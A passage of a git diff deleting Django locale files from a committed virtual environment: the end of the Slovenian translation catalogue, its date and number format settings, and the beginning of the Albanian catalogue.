with this %(field_labels)s already exists." -msgstr "%(model_name)s s tem %(field_labels)s že obstaja." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "" - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "Vrednost %(value)r ni veljavna izbira." - -msgid "This field cannot be null." -msgstr "To polje ne more biti prazno." - -msgid "This field cannot be blank." -msgstr "To polje ne more biti prazno." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s s tem %(field_label)s že obstaja." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s mora biti enolična za %(date_field_label)s %(lookup_type)s." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "Polje tipa: %(field_type)s" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "“%(value)s” vrednost mora biti Da ali Ne." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "" - -msgid "Boolean (Either True or False)" -msgstr "Boolova vrednost (True ali False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "Niz znakov (vse do %(max_length)s)" - -msgid "String (unlimited)" -msgstr "" - -msgid "Comma-separated integers" -msgstr "Z vejico ločena cela števila (integer)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "" -"“%(value)s” vrednost ima neveljavno obliko datuma. Biti mora v obliki LLLL-" -"MM-DD." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"“%(value)s” vrednost ima pravilno obliko (LLLL-MM-DD), vendar je neveljaven " -"datum." - -msgid "Date (without time)" -msgstr "Datum (brez ure)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" - -msgid "Date (with time)" -msgstr "Datum (z uro)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "" - -msgid "Decimal number" -msgstr "Decimalno število" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" - -msgid "Duration" -msgstr "Trajanje" - -msgid "Email address" -msgstr "E-poštni naslov" - -msgid "File path" -msgstr "Pot do datoteke" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "“%(value)s” vrednost mora biti decimalno število." - -msgid "Floating point number" -msgstr "Število s plavajočo vejico" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "“%(value)s” vrednost mora biti celo število." - -msgid "Integer" -msgstr "Celo število (integer)" - -msgid "Big (8 byte) integer" -msgstr "Velika (8 bajtna) cela števila " - -msgid "Small integer" -msgstr "Celo število" - -msgid "IPv4 address" -msgstr "IPv4 naslov" - -msgid "IP address" -msgstr "IP naslov" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "“%(value)s” vrednost mora biti Nič, Da ali Ne." - -msgid "Boolean (Either True, False or None)" -msgstr "Boolova vrednost (True, False ali None)" - -msgid "Positive big integer" -msgstr "Pozitivno veliko celo število" - -msgid "Positive integer" -msgstr "Pozitivno celo število" - -msgid "Positive small integer" -msgstr "Pozitivno celo število (do 64 tisoč)" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "Okrajšava naslova (do največ %(max_length)s znakov)" - -msgid "Text" -msgstr "Besedilo" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" - -msgid "Time" -msgstr "Čas" - -msgid "URL" -msgstr "URL (spletni naslov)" - -msgid "Raw binary data" -msgstr "Surovi binarni podatki" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "" - -msgid "Universally unique identifier" -msgstr "" - -msgid "File" -msgstr "Datoteka" - -msgid "Image" -msgstr "Slika" - -msgid "A JSON object" -msgstr "JSON objekt" - -msgid "Value must be valid JSON." -msgstr "Vrednost mora biti veljaven JSON." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r does not exist." -msgstr "" -"Instanca %(model)s s poljem %(field)s, ki ustreza %(value)r, ne obstaja." - -msgid "Foreign Key (type determined by related field)" -msgstr "Tuji ključ (tip odvisen od povezanega polja)" - -msgid "One-to-one relationship" -msgstr "Relacija ena-na-ena" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "Relacija %(from)s-%(to)s" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "Relacija %(from)s-%(to)s" - -msgid "Many-to-many relationship" -msgstr "Relacija več-na-več" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "To polje je obvezno." - -msgid "Enter a whole number." -msgstr "Vnesite celo število." - -msgid "Enter a valid date." -msgstr "Vnesite veljaven datum." - -msgid "Enter a valid time." -msgstr "Vnesite veljaven čas." - -msgid "Enter a valid date/time." -msgstr "Vnesite veljaven datum/čas." - -msgid "Enter a valid duration." -msgstr "Vnesite veljavno obdobje trajanja." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "" - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "Datoteka ni bila poslana. Preverite nabor znakov v formi." - -msgid "No file was submitted." -msgstr "Poslali niste nobene datoteke." - -msgid "The submitted file is empty." -msgstr "Poslana datoteka je prazna." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "" -"Poskrbite, da bo imelo to ime datoteke največ %(max)d znak (trenutno ima " -"%(length)d)." -msgstr[1] "" -"Poskrbite, da bo imelo to ime datoteke največ %(max)d znaka (trenutno ima " -"%(length)d)." -msgstr[2] "" -"Poskrbite, da bo imelo to ime datoteke največ %(max)d znake (trenutno ima " -"%(length)d)." -msgstr[3] "" -"Poskrbite, da bo imelo to ime datoteke največ %(max)d znakov (trenutno ima " -"%(length)d)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "Prosim oddaj datoteko ali izberi počisti okvir, ampak ne oboje hkrati." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"Naložite veljavno sliko. Naložena datoteka ni bila slika ali pa je bila le-" -"ta okvarjena." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "Izberite veljavno možnost. %(value)s ni med ponujenimi izbirami." - -msgid "Enter a list of values." -msgstr "Vnesite seznam vrednosti." - -msgid "Enter a complete value." -msgstr "Vnesite popolno vrednost." - -msgid "Enter a valid UUID." -msgstr "Vnesite veljaven UUID." - -msgid "Enter a valid JSON." -msgstr "Vnesite veljaven JSON." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(Skrito polje %(name)s) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" - -msgid "Order" -msgstr "Razvrsti" - -msgid "Delete" -msgstr "Izbriši" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "Prosimo, odpravite podvojene vrednosti za %(field)s." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "" -"Prosimo popravite podvojene vrednosti za %(field)s, ki morajo biti unikatne." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"Prosimo popravite podvojene vrednosti za polje %(field_name)s, ki mora biti " -"edinstveno za %(lookup)s po %(date_field)s." - -msgid "Please correct the duplicate values below." -msgstr "Prosimo odpravite podvojene vrednosti spodaj." - -msgid "The inline value did not match the parent instance." -msgstr "Vrednost se ne ujema s povezanim vnosom." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "Izberite veljavno možnost. Te možnosti ni med ponujenimi izbirami." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "" - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" - -msgid "Clear" -msgstr "Počisti" - -msgid "Currently" -msgstr "Trenutno" - -msgid "Change" -msgstr "Spremeni" - -msgid "Unknown" -msgstr "Neznano" - -msgid "Yes" -msgstr "Da" - -msgid "No" -msgstr "Ne" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "da,ne,morda" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d bajt" -msgstr[1] "%(size)d bajta" -msgstr[2] "%(size)d bajti" -msgstr[3] "%(size)d bajtov" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "p.m." - -msgid "a.m." -msgstr "a.m." - -msgid "PM" -msgstr "PM" - -msgid "AM" -msgstr "AM" - -msgid "midnight" -msgstr "polnoč" - -msgid "noon" -msgstr "poldne" - -msgid "Monday" -msgstr "ponedeljek" - -msgid "Tuesday" -msgstr "torek" - -msgid "Wednesday" -msgstr "sreda" - -msgid "Thursday" -msgstr "četrtek" - -msgid "Friday" -msgstr "petek" - -msgid "Saturday" -msgstr "sobota" - -msgid "Sunday" -msgstr "nedelja" - -msgid "Mon" -msgstr "pon" - -msgid "Tue" -msgstr "tor" - -msgid "Wed" -msgstr "sre" - -msgid "Thu" -msgstr "čet" - -msgid "Fri" -msgstr "pet" - -msgid "Sat" -msgstr "sob" - -msgid "Sun" -msgstr "ned" - -msgid "January" -msgstr "januar" - -msgid "February" -msgstr "februar" - -msgid "March" -msgstr "marec" - -msgid "April" -msgstr "april" - -msgid "May" -msgstr "maj" - -msgid "June" -msgstr "junij" - -msgid "July" -msgstr "julij" - -msgid "August" -msgstr "avgust" - -msgid "September" -msgstr "september" - -msgid "October" -msgstr "oktober" - -msgid "November" -msgstr "november" - -msgid "December" -msgstr "december" - -msgid "jan" -msgstr "jan" - -msgid "feb" -msgstr "feb" - -msgid "mar" -msgstr "mar" - -msgid "apr" -msgstr "apr" - -msgid "may" -msgstr "maj" - -msgid "jun" -msgstr "jun" - -msgid "jul" -msgstr "jul" - -msgid "aug" -msgstr "avg" - -msgid "sep" -msgstr "sep" - -msgid "oct" -msgstr "okt" - -msgid "nov" -msgstr "nov" - -msgid "dec" -msgstr "dec" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "Jan" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "Feb." - -msgctxt "abbrev. month" -msgid "March" -msgstr "Marec" - -msgctxt "abbrev. month" -msgid "April" -msgstr "April" - -msgctxt "abbrev. month" -msgid "May" -msgstr "Maj" - -msgctxt "abbrev. month" -msgid "June" -msgstr "Junij" - -msgctxt "abbrev. month" -msgid "July" -msgstr "Julij" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "Avg." - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "Sept." - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "Okt." - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "Nov." - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "Dec." - -msgctxt "alt. month" -msgid "January" -msgstr "Januar" - -msgctxt "alt. month" -msgid "February" -msgstr "Februar" - -msgctxt "alt. month" -msgid "March" -msgstr "Marec" - -msgctxt "alt. month" -msgid "April" -msgstr "April" - -msgctxt "alt. month" -msgid "May" -msgstr "Maj" - -msgctxt "alt. month" -msgid "June" -msgstr "Junij" - -msgctxt "alt. month" -msgid "July" -msgstr "Julij" - -msgctxt "alt. month" -msgid "August" -msgstr "Avgust" - -msgctxt "alt. month" -msgid "September" -msgstr "September" - -msgctxt "alt. month" -msgid "October" -msgstr "Oktober" - -msgctxt "alt. month" -msgid "November" -msgstr "November" - -msgctxt "alt. month" -msgid "December" -msgstr "December" - -msgid "This is not a valid IPv6 address." -msgstr "To ni veljaven IPv6 naslov." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "" - -msgid "or" -msgstr "ali" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d leto" -msgstr[1] "%(num)d leti" -msgstr[2] "%(num)d let" -msgstr[3] "%(num)d let" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d mesec" -msgstr[1] "%(num)d meseca " -msgstr[2] "%(num)d mesecev" -msgstr[3] "%(num)d mesecev" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d teden" -msgstr[1] "%(num)d tedna" -msgstr[2] "%(num)d tednov" -msgstr[3] "%(num)d tednov" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d dan" -msgstr[1] "%(num)d dneva" -msgstr[2] "%(num)d dni" -msgstr[3] "%(num)d dni" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d uro" -msgstr[1] "%(num)d uri" -msgstr[2] "%(num)d ure" -msgstr[3] "%(num)d ur" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d minuto" -msgstr[1] "%(num)d minuti" -msgstr[2] "%(num)d minute" -msgstr[3] "%(num)d minut" - -msgid "Forbidden" -msgstr "Prepovedano" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF preverjanje ni uspelo. Zahtevek preklican." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" -"To obvestilo vidite, ker ta spletna stran zahteva CSRF piškotek, ko " -"pošiljate obrazce. Piškotek je potreben zaradi varnosti, da se zagotovi, da " -"ste zahtevek res naredili vi." - -msgid "" -"If you have configured your browser to disable cookies, please re-enable " -"them, at least for this site, or for “same-origin” requests." -msgstr "" -"Če ste brskalnik konfigurirali tako, da onemogoča piškotke, jih znova " -"omogočite za to spletno mesto ali za zahteve »istega izvora«." - -msgid "More information is available with DEBUG=True." -msgstr "Več informacij je na voljo, če nastavite DEBUG=True." - -msgid "No year specified" -msgstr "Leto ni vnešeno" - -msgid "Date out of range" -msgstr "Datum ni znotraj veljavnega obsega." - -msgid "No month specified" -msgstr "Mesec ni vnešen" - -msgid "No day specified" -msgstr "Dan ni vnešen" - -msgid "No week specified" -msgstr "Teden ni vnešen" - -#, python-format -msgid "No %(verbose_name_plural)s available" -msgstr "Na voljo ni noben %(verbose_name_plural)s" - -#, python-format -msgid "" -"Future %(verbose_name_plural)s not available because %(class_name)s." -"allow_future is False." -msgstr "" -"Prihodnje %(verbose_name_plural)s niso na voljo, ker je vrednost " -"%(class_name)s.allow_future False." - -#, python-format -msgid "Invalid date string “%(datestr)s” given format “%(format)s”" -msgstr "" - -#, python-format -msgid "No %(verbose_name)s found matching the query" -msgstr "Noben %(verbose_name)s ne ustreza poizvedbi" - -msgid "Page is not “last”, nor can it be converted to an int." -msgstr "Stran ni »zadnja«, niti je ni mogoče pretvoriti v število." - -#, python-format -msgid "Invalid page (%(page_number)s): %(message)s" -msgstr "Neveljavna stran (%(page_number)s): %(message)s" - -#, python-format -msgid "Empty list and “%(class_name)s.allow_empty” is False." -msgstr "" - -msgid "Directory indexes are not allowed here." -msgstr "Prikaz vsebine mape ni dovoljen." - -#, python-format -msgid "“%(path)s” does not exist" -msgstr "“%(path)s” ne obstaja" - -#, python-format -msgid "Index of %(directory)s" -msgstr "Vsebina mape %(directory)s" - -msgid "The install worked successfully! Congratulations!" -msgstr "Namestitev se je uspešno izvedla! Čestitke!" - -#, python-format -msgid "" -"View release notes for Django %(version)s" -msgstr "" -"Oglejte si obvestila ob izdaji za Django " -"%(version)s" - -#, python-format -msgid "" -"You are seeing this page because DEBUG=True is in your settings file and you have not " -"configured any URLs." -msgstr "" -"To stran vidite, ker imate nastavljeno DEBUG=True v vaši settings.py datoteki in ker nimate " -"nastavljenih URL-jev." - -msgid "Django Documentation" -msgstr "Django Dokumentacija" - -msgid "Topics, references, & how-to’s" -msgstr "" - -msgid "Tutorial: A Polling App" -msgstr "Vodič: aplikacija anketa" - -msgid "Get started with Django" -msgstr "Začnite z Djangom" - -msgid "Django Community" -msgstr "Django Skupnost" - -msgid "Connect, get help, or contribute" -msgstr "Spoznajte nove ljudi, poiščite pomoč in prispevajte " diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sl/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/sl/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sl/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sl/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index c314c3bf..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sl/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sl/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/sl/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index b4fea29e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sl/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sl/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/sl/formats.py deleted file mode 100644 index c3e96bb2..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sl/formats.py +++ /dev/null @@ -1,44 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "d. F Y" -TIME_FORMAT = "H:i" -DATETIME_FORMAT = "j. F Y. H:i" -YEAR_MONTH_FORMAT = "F Y" -MONTH_DAY_FORMAT = "j. F" -SHORT_DATE_FORMAT = "j. M. Y" -SHORT_DATETIME_FORMAT = "j.n.Y. H:i" -FIRST_DAY_OF_WEEK = 0 - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -DATE_INPUT_FORMATS = [ - "%d.%m.%Y", # '25.10.2006' - "%d.%m.%y", # '25.10.06' - "%d-%m-%Y", # '25-10-2006' - "%d. %m. %Y", # '25. 10. 2006' - "%d. %m. %y", # '25. 10. 06' -] - -DATETIME_INPUT_FORMATS = [ - "%d.%m.%Y %H:%M:%S", # '25.10.2006 14:30:59' - "%d.%m.%Y %H:%M:%S.%f", # '25.10.2006 14:30:59.000200' - "%d.%m.%Y %H:%M", # '25.10.2006 14:30' - "%d.%m.%y %H:%M:%S", # '25.10.06 14:30:59' - "%d.%m.%y %H:%M:%S.%f", # '25.10.06 14:30:59.000200' - "%d.%m.%y %H:%M", # '25.10.06 14:30' - "%d-%m-%Y %H:%M:%S", # '25-10-2006 14:30:59' - "%d-%m-%Y %H:%M:%S.%f", # '25-10-2006 14:30:59.000200' - "%d-%m-%Y %H:%M", # '25-10-2006 14:30' - "%d. %m. %Y %H:%M:%S", # '25. 10. 2006 14:30:59' - "%d. %m. %Y %H:%M:%S.%f", # '25. 10. 2006 14:30:59.000200' - "%d. %m. %Y %H:%M", # '25. 10. 2006 14:30' - "%d. %m. %y %H:%M:%S", # '25. 10. 06 14:30:59' - "%d. %m. %y %H:%M:%S.%f", # '25. 10. 06 14:30:59.000200' - "%d. %m. %y %H:%M", # '25. 10. 06 14:30' -] - -DECIMAL_SEPARATOR = "," -THOUSAND_SEPARATOR = "." -NUMBER_GROUPING = 3 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sq/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/sq/LC_MESSAGES/django.mo deleted file mode 100644 index 205d978e..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/sq/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/sq/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/sq/LC_MESSAGES/django.po deleted file mode 100644 index c9ba44c9..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/sq/LC_MESSAGES/django.po +++ /dev/null @@ -1,1352 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Besnik Bleta , 2011-2014 -# Besnik Bleta , 2020-2025 -# Besnik Bleta , 2015-2019 -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: Besnik Bleta , 2020-2025\n" -"Language-Team: Albanian (http://app.transifex.com/django/django/language/" -"sq/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: sq\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -msgid "Afrikaans" -msgstr "Afrikaans" - -msgid "Arabic" -msgstr "Arabisht" - -msgid "Algerian Arabic" -msgstr "Arabishte Algjeriane" - -msgid "Asturian" -msgstr "Asturiase" - -msgid "Azerbaijani" -msgstr "Azerbajxhanisht" - -msgid "Bulgarian" -msgstr "Bullgarisht" - -msgid "Belarusian" -msgstr "Bjellorusisht" - -msgid "Bengali" -msgstr "Bengalisht" - -msgid "Breton" -msgstr "Bretonisht" - -msgid "Bosnian" -msgstr "Boshnjake" - -msgid "Catalan" -msgstr "Katalanisht" - -msgid "Central Kurdish (Sorani)" -msgstr "Kurdishte e Qendrës (Sorani)" - -msgid "Czech" -msgstr "Çekisht" - -msgid "Welsh" -msgstr "Uellsisht" - -msgid "Danish" -msgstr "Danisht" - -msgid "German" -msgstr "Gjermanisht" - -msgid "Lower Sorbian" -msgstr "Sorbishte e Poshtme" - -msgid "Greek" -msgstr "Greqisht" - -msgid "English" -msgstr "Anglisht" - -msgid "Australian English" -msgstr "Anglishte Australie" - -msgid "British English" -msgstr "Anglishte Britanie" - -msgid "Esperanto" -msgstr "Esperanto" - -msgid "Spanish" -msgstr "Spanjisht" - -msgid "Argentinian Spanish" -msgstr "Spanjishte Argjentine" - -msgid "Colombian Spanish" -msgstr "Spanjishte Kolumbie" - -msgid "Mexican Spanish" -msgstr "Spanjishte Meksike" - -msgid "Nicaraguan Spanish" -msgstr "Spanjishte Nikaraguaje" - -msgid "Venezuelan Spanish" -msgstr "Spanjishte Venezuele" - -msgid "Estonian" -msgstr "Estonisht" - -msgid "Basque" -msgstr "Baskisht" - -msgid "Persian" -msgstr "Persisht" - -msgid "Finnish" -msgstr "Finlandisht" - -msgid "French" -msgstr "Frënge" - -msgid "Frisian" -msgstr "Frisisht" - -msgid "Irish" -msgstr "Irlandisht" - -msgid "Scottish Gaelic" -msgstr "Skocisht Gaelike" - -msgid "Galician" -msgstr "Galike" - -msgid "Hebrew" -msgstr "Hebraisht" - -msgid "Hindi" -msgstr "Indisht" - -msgid "Croatian" -msgstr "Kroatisht" - -msgid "Upper Sorbian" -msgstr "Sorbishte e Sipërme" - -msgid "Hungarian" -msgstr "Hungarisht" - -msgid "Armenian" -msgstr "Armenisht" - -msgid "Interlingua" -msgstr "Interlingua" - -msgid "Indonesian" -msgstr "Indonezisht" - -msgid "Igbo" -msgstr "Igbo" - -msgid "Ido" -msgstr "Ido" - -msgid "Icelandic" -msgstr "Islandisht" - -msgid "Italian" -msgstr "Italisht" - -msgid "Japanese" -msgstr "Japonisht" - -msgid "Georgian" -msgstr "Gjeorgjisht" - -msgid "Kabyle" -msgstr "Kabilisht" - -msgid "Kazakh" -msgstr "Kazake" - -msgid "Khmer" -msgstr "Khmere" - -msgid "Kannada" -msgstr "Kannada" - -msgid "Korean" -msgstr "Koreanisht" - -msgid "Kyrgyz" -msgstr "Kirgize" - -msgid "Luxembourgish" -msgstr "Luksemburgase" - -msgid "Lithuanian" -msgstr "Lituanisht" - -msgid "Latvian" -msgstr "Letonisht" - -msgid "Macedonian" -msgstr "Maqedonisht" - -msgid "Malayalam" -msgstr "Malajalame" - -msgid "Mongolian" -msgstr "Mongoliisht" - -msgid "Marathi" -msgstr "Marati" - -msgid "Malay" -msgstr "Malajase" - -msgid "Burmese" -msgstr "Burmeze" - -msgid "Norwegian Bokmål" -msgstr "Norvegjishte Bokmal" - -msgid "Nepali" -msgstr "Nepalisht" - -msgid "Dutch" -msgstr "Holandisht" - -msgid "Norwegian Nynorsk" -msgstr "Norvegjishte Nynorsk" - -msgid "Ossetic" -msgstr "Osetisht" - -msgid "Punjabi" -msgstr "Panxhabisht" - -msgid "Polish" -msgstr "Polonisht" - -msgid "Portuguese" -msgstr "Portugalisht" - -msgid "Brazilian Portuguese" -msgstr "Portugalishte Brazili" - -msgid "Romanian" -msgstr "Rumanisht" - -msgid "Russian" -msgstr "Rusisht" - -msgid "Slovak" -msgstr "Sllovakisht " - -msgid "Slovenian" -msgstr "Sllovenisht" - -msgid "Albanian" -msgstr "Shqip" - -msgid "Serbian" -msgstr "Serbisht" - -msgid "Serbian Latin" -msgstr "Serbisht Latine" - -msgid "Swedish" -msgstr "Suedisht" - -msgid "Swahili" -msgstr "Suahilisht" - -msgid "Tamil" -msgstr "Tamilisht" - -msgid "Telugu" -msgstr "Telugu" - -msgid "Tajik" -msgstr "Taxhike" - -msgid "Thai" -msgstr "Tajlandisht" - -msgid "Turkmen" -msgstr "Turkmene" - -msgid "Turkish" -msgstr "Turqisht" - -msgid "Tatar" -msgstr "Tatare" - -msgid "Udmurt" -msgstr "Udmurt" - -msgid "Uyghur" -msgstr "Ujgure" - -msgid "Ukrainian" -msgstr "Ukrainisht" - -msgid "Urdu" -msgstr "Urdu" - -msgid "Uzbek" -msgstr "Uzbeke" - -msgid "Vietnamese" -msgstr "Vietnamisht" - -msgid "Simplified Chinese" -msgstr "Kineze e Thjeshtuar" - -msgid "Traditional Chinese" -msgstr "Kineze Tradicionale" - -msgid "Messages" -msgstr "Mesazhe" - -msgid "Site Maps" -msgstr "Harta Sajti" - -msgid "Static Files" -msgstr "Kartela Statike" - -msgid "Syndication" -msgstr "" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "…" - -msgid "That page number is not an integer" -msgstr "Ai numër faqeje s’është numër i plotë" - -msgid "That page number is less than 1" -msgstr "Ai numër faqeje është më i vogël se 1" - -msgid "That page contains no results" -msgstr "Ajo faqe s’përmban përfundime" - -msgid "Enter a valid value." -msgstr "Jepni një vlerë të vlefshme." - -msgid "Enter a valid domain name." -msgstr "Jepni një emër të vlefshëm përkatësie." - -msgid "Enter a valid URL." -msgstr "Jepni një URL të vlefshme." - -msgid "Enter a valid integer." -msgstr "Jepni një numër të plotë të vlefshëm." - -msgid "Enter a valid email address." -msgstr "Jepni një adresë email të vlefshme." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "" -"Jepni një “identifikues” të vlefshëm, të përbërë nga shkronja, numra, " -"nënvija, ose vija në mes." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"Jepni një “identifikues” të vlefshëm, të përbërë nga shkronja, numra, " -"nënvija, ose vija ndarëse Unikod." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "Jepni një adresë %(protocol)s të vlefshme." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4, ose IPv6" - -msgid "Enter only digits separated by commas." -msgstr "Jepni vetëm shifra të ndara nga presje." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "Siguroni që kjo vlerë të jetë %(limit_value)s (është %(show_value)s)." - 